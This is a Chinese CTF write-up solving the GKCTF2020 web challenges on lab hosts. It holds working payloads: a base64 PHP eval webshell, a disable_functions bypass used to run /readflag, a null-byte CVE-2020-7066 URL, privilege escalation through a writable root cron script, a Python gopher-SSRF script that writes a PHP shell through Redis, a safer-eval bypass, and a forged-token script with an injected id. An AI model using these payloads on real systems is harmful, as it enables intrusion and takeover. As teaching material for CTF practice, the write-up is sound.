找了个时间复现了 GKCTF 的 WEB 题目

[GKCTF2020]CheckIN

代码执行

进去给到源码,给了我们一个小马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}

public function x()
{
return $_REQUEST;
}
}
new ClassName();

先上一个小马

1
2
php > echo base64_encode('eval($_REQUEST[kk]);');
ZXZhbCgkX1JFUVVFU1Rba2tdKTs=

看看 phpinfo

1
?Ginkgo=ZXZhbCgkX1JFUVVFU1Rba2tdKTs%3D&kk=phpinfo();

绕 disable_functions

image-20200528103728833

蚁剑连上去,flag 需要 /readflag

可以直接用这个绕 https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

上传到 /tmp 目录,直接包含就好

执行命令

1
?Ginkgo=ZXZhbCgkX1JFUVVFU1Rba2tdKTs%3D&kk=include("/tmp/exploit.php");&cmd=/readflag

image-20200528105315601

[GKCTF2020]cve版签到

cve-2020-7066

exp 在这里 https://bugs.php.net/bug.php?id=79329

直接打就好,访问 127.0.0.1 返回 hint

1
?url=http://127.0.0.1%00.ctfhub.com

image-20200528110116218

1
?url=http://127.0.0.123%00.ctfhub.com

image-20200528110131001

[GKCTF2020]老八小超市儿

弱口令+后台geishell+提权

参考 http://www.nctry.com/1660.html 后台getshell

我这里扔了一个冰蝎的马,连上读 /flag

image-20200528110926892

读了个寂寞,提示日期很重要

上传个 LinEnum 读一下信息

在进程信息那里我们看到了 root 在执行一个 /auto.sh

image-20200528112105303

看一下文件,这也是解释了进程为什么一直有 sleep 60 这个操作

image-20200528112206309

看一下 py 文件

image-20200528112300934

这很显然就是我们的变量劫持,看一下权限

image-20200528112351256

所以我们可以通过改写这个 py 文件提权

其实,这个 /auto.sh 也是可写的,我们也可以改这个

image-20200528112456969

我这里就直接改 py 了

image-20200528113533012

等个一分钟收割 flag

image-20200528113511733

[GKCTF2020]EZ三剑客-EzWeb

内网+redis写shell

进去源码有提示

image-20200528113752714

给到了一个 hosts 的信息

image-20200528113904509

尝试访问 localhost 被 waf

1
/index.php?url=http://127.0.0.1&submit=提交

那就改成内网地址试试

1
/index.php?url=http://173.235.100.10&submit=提交

返回了正常页面

这里我们揣测出题人的思路,那应该就是让我扫内网地址,直接 bp,发现了这个比较特殊

1
/index.php?url=http://173.235.100.11&submit=提交

image-20200528114209680

那就是让我们去扫描端口,继续 bp 扫常用端口,发现 redis 有回显

记住要扫常用服务,不要从1开始扫,不然要很久

1
/index.php?url=http://173.235.100.11:6379&submit=提交

image-20200528114347813

gopher 协议没有 ban,发现可以 redis 随意写 shell

注意编码问题就好

这里直接贴上 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import urllib
import requests as rq

protocol="gopher://"
ip="173.19.221.11"
port="6379"
shell="\n\n\n\n<?php system('ls / -al');system('cat /flag'); ?>\n\n\n\n"
filename="index.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += redis_format(x).replace("\r\n","%250D%250A").replace("\n","%250A").replace("?","%253f")
print(payload)

这里我省了步骤,我是先看了 phpinfo(),发现没有 ban system(),再列一个目录,再看 flag 在哪

上传之后回显成功

image-20200528114934084

访问内网机子就能看到

1
/index.php?url=http://173.235.100.11&submit=提交

image-20200528115041491

[GKCTF2020]EZ三剑客-EzNode

nodejs

上来给了代码和版本,直接代码审计

总体逻辑就是绕过这里的 waf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {

}
}, 1000);
} else {
next();
}
});

就可以直接 eval 了

1
2
3
4
5
6
7
8
9
10
11
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});

waf 可以用 int 溢出漏洞绕过,所以传入 2147483648 绕过成功

当 delay 大于 2147483647 或小于 1 时,延迟将设置为 1

后面就是绕 saferEval 了,这个根据版本去搜一下就好 ,最新版本的一般在 github 的 issues 里找到,可以直接拿来用

https://github.com/commenthol/safer-eval/issues/11

image-20200528120418230

[GKCTF2020]EZ三剑客-EzTypecho

反序列化

Typecho反序列化漏洞复现

原版本在 install.php 那会有一个反序列化

image-20200528121416697

但是出题人在这里加多了一个 if(!isset($_SESSION))

但是后面还有一处,我们直接传入 ?start 触发即可

image-20200528121355676

image-20200528121820549

命令执行无限制,直接读 /flag 就好

image-20200528121954615

[GKCTF2020]Node-Exe

第一次碰到这题目,无从下手,不过还挺有意思的

先看一下程序运行逻辑,打开 admin 登陆进去,然后给你三个 flag,打开 fiddler 抓包发现是发送了一个含有 timestamp 的 json,id 对应的就是 flag 的位置

命令行断点 bpu http://xxx.node3.buuoj.cn

1
{"id":1,"timestamp":1590639747000}

直接修改 id = 3 会返回

1
{"message":"HaHa Hacker!!!"}

写脚本伪造 timestamp 也失败

所以后台应该是验证了 token

还是去看看源码吧,把安装程序改成 zip 解压一下,源码在

1
/app-64/resources/app.asar

进行反编译

1
2
npm install -g asar
asar extract app.asar app

看一下 buyflag 的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
buyFlag: function(e) {
var i = this;
return c()(a.a.mark((function t() {
var o;
return a.a.wrap((function(t) {
for (;;) switch (t.prev = t.next) {
case 0:
return o = {
id: e,
timestamp: Date.parse(new Date)
},
t.t0 = i.$http,
t.t1 = i.url + "/buyflag",
t.t2 = o,
t.next = 6,
i.makeToken(o);
case 6:
t.t3 = t.sent,
t.t4 = {
token: t.t3
},
t.t5 = {
headers: t.t4
},
t.t6 = function(e) {
i.$Modal.info({
title: "购买结果",
content: e.data[0].flag
})
},
t.t0.post.call(t.t0, t.t1, t.t2, t.t5).then(t.t6);
case 11:
case "end":
return t.stop()
}
}), t, i)
})))()
}

看一下 makeToken

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
makeToken: function(e) {
var i = this;
return c()(a.a.mark((function t() {
var o, r;
return a.a.wrap((function(t) {
for (;;) switch (t.prev = t.next) {
case 0:
return "31169fedc9a20ecf",
"d96adeefaa0102a9",
o = f()(n()(e)),
t.next = 5,
i.encrypt("31169fedc9a20ecf", "d96adeefaa0102a9", o);
case 5:
return r = t.sent,
t.abrupt("return", r);
case 7:
case "end":
return t.stop()
}
}), t, i)
})))()
}

再看一下 encrypt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
encrypt: function(e, i, t) {
var o = this;
return c()(a.a.mark((function n() {
return a.a.wrap((function(o) {
for (;;) switch (o.prev = o.next) {
case 0:
return o.abrupt("return", new s.a((function(o) {
var n = p.a.createCipheriv("aes-128-cbc", e, i),
r = n.update(t, "utf8", "binary");
r += n.final("binary"),
o(r = new Buffer.from(r, "binary").toString("hex"))
})));
case 1:
case "end":
return o.stop()
}
}), n, o)
})))()
},

所以 token 使用了 aes-128-cbc 进行对经过了 o=f()(n()(e)) 处理的 json 进行加密,key 是 31169fedc9a20ecf,iv 是 d96adeefaa0102a9

随便拿一个 token 试验一下

image-20200528150727592

32 位的我们拿 md5 测试一下

image-20200528150920692

可以看到是吻合的,这里贴上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# coding:utf-8
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import time, json, datetime, hashlib
import requests as rq

def encrypt(raw):
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
key = b'31169fedc9a20ecf'
iv = b'd96adeefaa0102a9'
raw = pad(raw).encode()
cryptor = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cryptor.encrypt(raw)
return b2a_hex(ciphertext).decode()

def get_data_token():
dtime = datetime.datetime.now()
t = int(time.mktime(dtime.timetuple())) * 1000
data = json.dumps({"id":"3||1", "timestamp":t}).replace(' ','')
print("[+] data:%s" % data)
token = encrypt(hashlib.md5(data.encode()).hexdigest())
print("[+] token:%s" % token)
headers = {
"Content-Type": "application/json;charset=UTF-8",
"token":token
}
return data, headers

if __name__== "__main__":
url = "http://1165bc7f-ecfb-45e8-bbc5-533876f73e8d.node3.buuoj.cn/buyflag"
data, headers = get_data_token()
res = rq.post(url, data=data, headers=headers)
print(res.text)

image-20200528162837226

需要注意的是

  1. 使用 json.dumps 要把结果的空格都去掉
  2. AES 加密使用的 padding 是 pkcs5
  3. 时间戳的获取一定要用 datetime(),不能用直接 time.time()